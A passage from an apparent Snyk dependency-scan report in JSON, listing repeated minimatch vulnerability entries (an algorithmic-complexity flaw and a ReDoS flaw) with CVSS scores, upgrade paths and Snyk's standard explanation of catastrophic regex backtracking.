function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], 